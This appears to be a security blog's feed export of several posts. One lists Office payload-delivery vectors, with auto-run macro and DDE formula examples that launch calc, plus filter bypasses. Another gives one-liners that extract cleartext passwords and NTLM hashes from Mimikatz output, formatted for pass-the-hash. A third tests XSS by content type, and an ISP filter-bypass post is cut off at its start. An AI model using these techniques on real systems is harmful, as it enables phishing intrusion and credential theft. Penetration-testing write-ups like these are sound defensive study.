tag:blogger.com,1999:blog-66135363289091639752024-03-28T08:12:35.465+00:00PwnDizzleA meander along the bumpy path of modern day IT security...Unknownnoreply@blogger.comBlogger49125tag:blogger.com,1999:blog-6613536328909163975.post-79286957722982363092017-03-01T23:37:00.003+00:002017-03-01T23:37:46.515+00:00Office Document Macros, OLE, Actions, DDE Payloads and Filter BypassThere are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.<br />
<br />
When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Macros</b></span><br />
<br />
Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes. <br />
<br />
So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm and dotm, but not docx.<br />
<br />
In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub
</pre>
<br />
A nice real-world macro and OLE example using Empire is linked below:<br />
<br />
https://enigma0x3.net/2016/03/15/phishing-with-empire/<br />
<br />
Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>ActiveX Components</b></span><br />
<br />
Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXa1DXvDwR1ZIG4YXGTsfgTCZSTH6Ff8LoKN8h5ZJVisi-dY81XFfQ798mya8SQ3RGGAonC2g0RrmApYNYOpmLUzp8NRNVudaXdRr2Hmjau4SICnBmajYiGrUfiaR8c_CUS7bNZbhsGmTx/s1600/addins.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXa1DXvDwR1ZIG4YXGTsfgTCZSTH6Ff8LoKN8h5ZJVisi-dY81XFfQ798mya8SQ3RGGAonC2g0RrmApYNYOpmLUzp8NRNVudaXdRr2Hmjau4SICnBmajYiGrUfiaR8c_CUS7bNZbhsGmTx/s1600/addins.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
There's a great overview of ActiveX controls at the link below:<br />
<br />
https://www.greyhathacker.net/?p=948<br />
<br />
The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>OLE Embedding</b></span><br />
<br />
After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.<br />
<br />
To insert an object select "Insert" -> "Object":<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9pivyXg47niZqNXANXWHaGsT3nmPytKFfZg1oNlLzXgjSBzOjGW2vILmD85v21h_pi3xsl4mSVbuqiCUx47qFE289TeACDNWUSmB4o_VMVeD_nTnIzXN3fNTUfBVSVwxPY8G3aMBhPsrF/s1600/insertobject.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9pivyXg47niZqNXANXWHaGsT3nmPytKFfZg1oNlLzXgjSBzOjGW2vILmD85v21h_pi3xsl4mSVbuqiCUx47qFE289TeACDNWUSmB4o_VMVeD_nTnIzXN3fNTUfBVSVwxPY8G3aMBhPsrF/s1600/insertobject.png" /></a></div>
<br />
All the user has to do is double click the embedded content and you get a shell.<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Powerpoint Actions</b></span><br />
<br />
Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigALaZTjJ1XcfSr3rLieV3_k9XwLET84OQqTjw9FHEccv_zkOQSw3W4BHLjSKukYuoO0A6K7HXXD9QqyRKwJRWaojAMz7_BJkKuHgaTOmhaoYZ_30GUHOl5jK2fMI0Z3QrEbcaOgGrlgV_/s1600/powerpointaction.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="345" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigALaZTjJ1XcfSr3rLieV3_k9XwLET84OQqTjw9FHEccv_zkOQSw3W4BHLjSKukYuoO0A6K7HXXD9QqyRKwJRWaojAMz7_BJkKuHgaTOmhaoYZ_30GUHOl5jK2fMI0Z3QrEbcaOgGrlgV_/s400/powerpointaction.png" width="400" /></a></div>
<br />
<br />
An in-the-wild example that used an action to load an embedded payload is linked below:<br />
<br />
https://phishme.com/powerpoint-and-custom-actions/<br />
<div>
<br /></div>
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Dynamic Data Exchange</b></span><br />
<br />
DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.<br />
<br />
The formula below can be used to test in Excel, this works in both xls and xlsx:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">=cmd|'/c calc'!A0
</pre>
<br />
Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.<br />
<br />
You can also view/edit the DDE XML directly by opening your document with 7zip:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
ddeService="cmd" ddeTopic="/c calc">
<ddeItems>
<ddeItem name="A0" advise="1"/>
<ddeItem name="StdDocumentName" ole="1" advise="1"/>
</ddeItems></ddeLink>
</pre>
<br />
A real-world example exploiting this issue can be found below:<br />
<br />
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’<br />
<div>
<br />
It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.</div>
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Filter Bypasses</b></span><br />
<br />
Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.<br />
<br />
To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbiOBmnShopRGbiJyp-yvTWQ0cv278ZO1snKH3SDPrCyhXpTI8BS4KhGXlWq4WYvdokJUy32KqotwTNYYWgWAM_dCO6QYi9Ek9Gnau4FAHp6sYUCYC86sWXc_78zZmu_IE0alxVSjsM3QZ/s1600/wordformats.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="331" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbiOBmnShopRGbiJyp-yvTWQ0cv278ZO1snKH3SDPrCyhXpTI8BS4KhGXlWq4WYvdokJUy32KqotwTNYYWgWAM_dCO6QYi9Ek9Gnau4FAHp6sYUCYC86sWXc_78zZmu_IE0alxVSjsM3QZ/s400/wordformats.png" width="400" /></a></div>
<br />
<br />
You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.<br />
<br />
Two common bypasses include:<br />
<ul>
<li>Word doc saved as XML then renamed to doc</li>
<li>Word doc saved as MHTML then renamed to doc</li>
</ul>
For Excel formula filter bypass, Excel did used to support an "Evaluate" function so you could spread a command over multiple cells, concatenate and then evaluate (execute) the statement. This was unfortunately removed so can no longer be used maliciously. The other major limitation with Excel is you can't execute Macros directly from formulas (afaik!)<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Further Research</b></span><br />
<br />
<ul>
<li>The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?</li>
</ul>
<div>
<ul>
<li>In Office hyperlinks are quite interesting as they let you link to local files however you can't supply arguments. It would be interesting to see if args could be supplied somehow or links abused in another way.</li>
</ul>
<br />
<br />
<b><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Final Thoughts</span></b><br />
<br />
Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.<br />
<br />
I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.<br />
<br />
Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.<br />
<br />
Pwndizzle out.<br />
<br /></div>
Unknownnoreply@blogger.com230tag:blogger.com,1999:blog-6613536328909163975.post-44464892245165916782016-08-30T22:12:00.000+01:002016-09-06T14:00:38.894+01:00Random String Python Text Classifier ExampleIn this post I'm going to explain how to write a simple NaiveBayes text classifier in Python and provide some example code.<br />
<br />
<b><span style="font-size: large;">Machine Learning!? Awesome!!1!</span></b><br />
<br />
My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.<br />
<br />
I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.<br />
<br />
It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the <span style="background-color: #f9f9f9;">CountVectorizer parameters you could look at sentences or groups of words.</span><br />
<br />
<b><span style="font-size: large;">Building a Classifier</span></b><br />
<br />
Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:<br />
<br />
<table align="center"><tbody>
<tr>
<th>normal.csv</th>
<th></th>
<th>random.csv</th></tr>
<tr>
<td>0,apple</td>
<td></td>
<td>1,fdsgsdgfdg</td>
</tr>
<tr>
<td>0,banana</td>
<td></td>
<td>1,plicawq</td>
</tr>
<tr>
<td>0,orange</td>
<td> </td>
<td>1,mncdlppl</td>
</tr>
</tbody></table>
<br />
In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.<br />
<br />
With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.<br />
<br />
I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.<br />
<br />
<b><span style="font-size: large;">The Code</span></b><br />
<br />
The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
import pandas as pd
from time import time
#Start timer
t0 = time()
#Create classifier and vectorizer
clf = MultinomialNB(alpha=0.1)
vec = CountVectorizer(analyzer='char_wb', ngram_range=(2, 4), min_df=1)
#Read in wordset and vectorize words
#Training data
train_set = pd.concat(pd.read_csv(f, names=["type","word"], nrows=5000) for f in ["normal.csv","random.csv"])
train_types = train_set.type.tolist()
train_words = vec.fit_transform(train_set.word.tolist())
#Test data
test_set = pd.concat(pd.read_csv(f, names=["type","word"], skiprows=5000, nrows=5000) for f in ["normal.csv","random.csv"])
test_types = test_set.type.tolist()
test_words = vec.transform(test_set.word.tolist())
#Train classifier
clf.fit(train_words, train_types)
train_time = time() - t0
print("Training time: %0.3fs" % train_time)
#Use test data to evaluate classifier
print "Accuracy is " + str(clf.score(test_words, test_types))
test_time = time() - train_time - t0
print("Testing time: %0.3fs" % test_time)
#Classify words
testdata = ['xgrdqwlpfrr','apple']
print testdata
print clf.predict(vec.transform(testdata))
predict_time = time() - test_time - train_time - t0
print("Predict time: %0.3fs" % predict_time)
</pre>
<br />
Running the script should give you something like the following:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNttjCScCLOC-7pYh8JZE15txQENiP-w-Jw4rg8wMixfleH-XNKeR12Ywo_02Fh5PhkQXFA1S3e1Jb579osam6mK9usXvg127oSDFt0lrGbfuUBFZuqMr4NUodTDQxHU8YWHl-y1X5boqS/s1600/output.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNttjCScCLOC-7pYh8JZE15txQENiP-w-Jw4rg8wMixfleH-XNKeR12Ywo_02Fh5PhkQXFA1S3e1Jb579osam6mK9usXvg127oSDFt0lrGbfuUBFZuqMr4NUodTDQxHU8YWHl-y1X5boqS/s1600/output.png" /></a></div>
<br />
<b><span style="font-size: large;">Scikit Tips</span></b><br />
<br />
If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.<br />
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.<br />
<br />
Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)<br />
<br />
Hope you guys have found this useful, any questions or comments, leave a message below.<br />
<br />
Pwndizzle out.Unknownnoreply@blogger.com205tag:blogger.com,1999:blog-6613536328909163975.post-80435697008959084792015-10-27T12:41:00.000+00:002015-10-27T12:41:01.960+00:00Parse Mimikatz Output One-LinerLove mimikatz but hate the output? Yeah me too. In this post I'll show you how to parse the output with one simple line.<br />
<div>
<br /></div>
<div>
<u><span style="font-size: large;"><b>The Output</b></span></u></div>
<div>
<br /></div>
<div>
Running either the mimikatz binary or powershell equivalent Invoke-Mimikatz will give you output similar to the following:</div>
<div>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Authentication Id : 0 ; 92831308 (00000000:05889d8c)
Session : RemoteInteractive from 3
User Name : john.smith
Domain : ACME
SID : S-1-5-21-2052118978-2816230894-3584936141-8335
msv :
[00000003] Primary
* Username : john.smith
* Domain : ACME
* NTLM : 1acd1a77416c50969d66867cd1e27e91
* SHA1 : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
[00010000] CredentialKeys
* NTLM : 1acd1a77416c50969d66867cd1e27e91
* SHA1 : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
tspkg :
wdigest :
* Username : john.smith
* Domain : ACME
* Password : Myl0ngs3cretP@ssword
kerberos :
* Username : john.smith
* Domain : ACME.mycompany
* Password : (null)
ssp :
credman :
</pre>
In most situations you'll often just want to know the users and passwords however this is hidden among a whole load of other output. Now we could go and patch the mimikatz code or we could use a cheeky one-liner...</div>
<div>
<br />
<br /></div>
<div>
<b><u><span style="font-size: large;">I Love A One-Liner</span></u></b></div>
<div>
<br /></div>
<div>
My goal was to obtain a list of all <b>usernames with domains and passwords</b> from a set of mimikatz output files. This is simple to do with the following one-liner:</div>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u</pre>
<div>
<br />
Parsing the example above you get the following:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">ACME\john.smith:Myl0ngP@ssword
jira.acme.com\john.smith@acme.com:Myj1raP@ssword</pre>
<br /></div>
<div>
Hows it work?<br />
<ul>
<li>I start by outputting all files in the current directory and removing carriage return characters as these seemed to break awk. I also remove tab characters to clean up the output.</li>
<li>Next up I used awk to effectively put the username, domain and password all on the same line. This makes greppping, cutting or more awking easier.</li>
<li>I used grep to remove lines I didn't care about. For example NTLM hashes and null passwords.</li>
<li>I then did a final awk to remove hex string passwords. I'm not sure how/why mimikatz generates this output, if anyone knows please leave a comment! :)</li>
<li>And finally I sorted and uniqued the list.</li>
</ul>
<br />
I modified the one-liner to also output just the <b>usernames and passwords</b> without the domain:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; getline; print user " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($8)>2) print $4 ":" $8}'|sort -u</pre>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">john.smith:Myl0ngP@ssword
john.smith@acme.com:Myj1raP@ssword</pre>
And also output <b>usernames and NTLM hashes</b> ready for use with pth-winexe:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* Password\|Microsoft_OC1"|awk '{if (length($12)>2) print $8 "/" $4 "%aad3b435b51404eeaad3b435b51404ee:" $12}'|sort -u</pre>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">ACME/john.smith%aad3b435b51404eeaad3b435b51404ee:1acd1a77416c50969d66867cd1e27e91</pre>
If you want a different output format just modify the final print statement.<br />
<br /></div>
<div>
<br />
<span style="font-size: large;"><b><u>Final Thoughts</u></b></span><br />
<br />
Mimikatz is such an awesome tool unfortunately the default output is not that user/grep friendly. Luckily with a simple one-liner we can easily work the output into something more useful. As mentioned in my <a href="http://pwndizzle.blogspot.co.uk/2013/02/parsing-nmap-smb-enum-shares-output.html">smb-share</a> enumeration post, don't be afraid to jump in and learn some grep/awk/sed, these tools can speed up data analysis massively!<br />
<br />
Hopefully this post has been useful, if you have any suggestions for improvements or better ways to get usable output then leave a comment below.<br />
<br />
Pwndizzle out.</div>
Unknownnoreply@blogger.com39tag:blogger.com,1999:blog-6613536328909163975.post-24744469665799080922015-07-23T08:31:00.000+01:002015-07-23T08:31:11.088+01:00XSS, Extensions and Content-TypesIn this post I'll look at which Content-Types and Extensions can actually be used for XSS in modern browsers.<br />
<br />
<br />
<b><span style="font-size: large;">Why does Content-Type and Extension matter?</span></b><br />
<br />
Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.<br />
<br />
To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.<br />
<div style="text-align: center;">
</div>
<div>
<br /></div>
<div>
<br /></div>
<b><span style="font-size: large;">Test #1 - Following Best Practice</span></b><br />
<br />
In the first test I forced the server to return the correct <b>extension</b> and <b>content-type </b>for each test page.<br />
<div style="text-align: center;">
<br /></div>
<style>
.demo {
border:1px solid #C0C0C0;
border-collapse:collapse;
padding:5px;
}
.demo th {
border:1px solid #C0C0C0;
padding:5px;
background:#F0F0F0;
}
.demo td {
border:1px solid #C0C0C0;
padding:5px;
}
</style>
<br />
<table align="center" class="demo" style="text-align: center;">
<caption></caption>
<thead>
<tr>
<th><div style="text-align: center;">
Content-Type</div>
</th>
<th>Extension</th>
<th>Chrome</th>
<th>IE</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>None</td>
<td>None</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/plain</td>
<td>txt</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/html</td>
<td>html</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>application/javascript</td>
<td>js</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>application/json</td>
<td>json</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>application/xml</td>
<td>xml</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/css</td>
<td>css</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>image/jpeg</td>
<td>jpeg</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
</tbody>
</table>
<br />
Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.<br />
<br />
<br />
<span style="font-size: large;"><b>Test #2 - Modifying Extension</b></span><br />
<br />
In the second test I made the server return the correct <b>content-type</b> but forced a <b>.html extension</b>.<br />
<br />
<table align="center" class="demo" style="text-align: center;">
<caption></caption>
<thead>
<tr>
<th><div style="text-align: center;">
Content-Type</div>
</th>
<th>Extension</th>
<th>Chrome</th>
<th>IE</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>None</td>
<td>html</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/plain</td>
<td>html</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/html</td>
<td>html</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>application/javascript</td>
<td>html</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>application/json</td>
<td>html</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>application/xml</td>
<td>html</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/css</td>
<td>html</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>image/jpeg</td>
<td>html</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
</tbody>
</table>
<br />
This test seemed to show that browsers will prioritize the use of the content-type over the extension.<br />
<br />
<br />
<span style="font-size: large;"><b>Test #3 - Using a text/html Content-Type</b></span><br />
<br />
In the third test I used the <b>correct extension</b> for each file but made the server return a <b>text/html content-type</b>.<br />
<br />
<table align="center" class="demo" style="text-align: center;">
<caption></caption>
<thead>
<tr>
<th><div style="text-align: center;">
Content-Type</div>
</th>
<th>Extension</th>
<th>Chrome</th>
<th>IE</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>text/html</td>
<td>None</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>txt</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>html</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>js</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>json</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>xml</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>css</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>text/html</td>
<td>jpeg</td>
<td>yes</td>
<td>no</td>
<td>yes</td>
</tr>
</tbody>
</table>
<br />
It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.<br />
<br />
<br />
<b><span style="font-size: large;">Test #4 - Using a text/plain Content-Type</span></b><br />
<br />
Next I used the <b>correct extension</b> for each file but made the server return a <b>text/plain content-type</b>.<br />
<br />
<table align="center" class="demo" style="text-align: center;">
<caption></caption>
<thead>
<tr>
<th><div style="text-align: center;">
Content-Type</div>
</th>
<th>Extension</th>
<th>Chrome</th>
<th>IE</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>text/plain</td>
<td>txt</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>html</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>js</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>json</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>xml</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>css</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>text/plain</td>
<td>jpeg</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
</tbody>
</table>
<br />
When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.<br />
<br />
<br />
<span style="font-size: large;"><b>Test #5 - MIME sniffing</b></span><br />
<br />
In this last test case I accessed a page that had <b>no extension</b> and received <b>no content-type</b> header from the server. This should have caused the browser to fall back on mime sniffing to render the page.<br />
<br />
<table align="center" class="demo" style="text-align: center;">
<caption></caption>
<thead>
<tr>
<th><div style="text-align: center;">
MIME</div>
</th><th>Content-Type</th>
<th>Extension</th>
<th>Chrome</th>
<th>IE</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>text/plain</td>
<td>None</td>
<td>None</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>text/html</td>
<td>None</td>
<td>None</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>application/javascript</td><td>None</td><td>None</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>application/json</td>
<td>None</td>
<td>None</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>application/xml</td>
<td>None</td>
<td>None</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>text/css</td>
<td>None</td>
<td>None</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>image/jpeg</td>
<td>None</td>
<td>None</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
</tbody>
</table>
<br />
Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!<br />
<br />
<span style="font-size: large;"><b>Conclusion</b></span><br />
<br />
Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.<br />
<br />
Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)<br />
<br />
Pwndizzle out.Unknownnoreply@blogger.com78tag:blogger.com,1999:blog-6613536328909163975.post-51102781498472270632015-04-30T19:53:00.001+01:002015-07-13T13:52:54.857+01:00How to Bypass Sky Broadband ShieldIn this post I'll explain how to get past Sky's Broadband Shield website block.<br />
<br />
(For international readers - this post is about content blocking controls implemented by one of the UK's largest ISPs.)<br />
<br />
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Where the porn at?</span></b></div>
<div>
<br /></div>
<div>
I recently tried to load xvideos.com and was redirected to a page at "http://block.nb.sky.com".</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
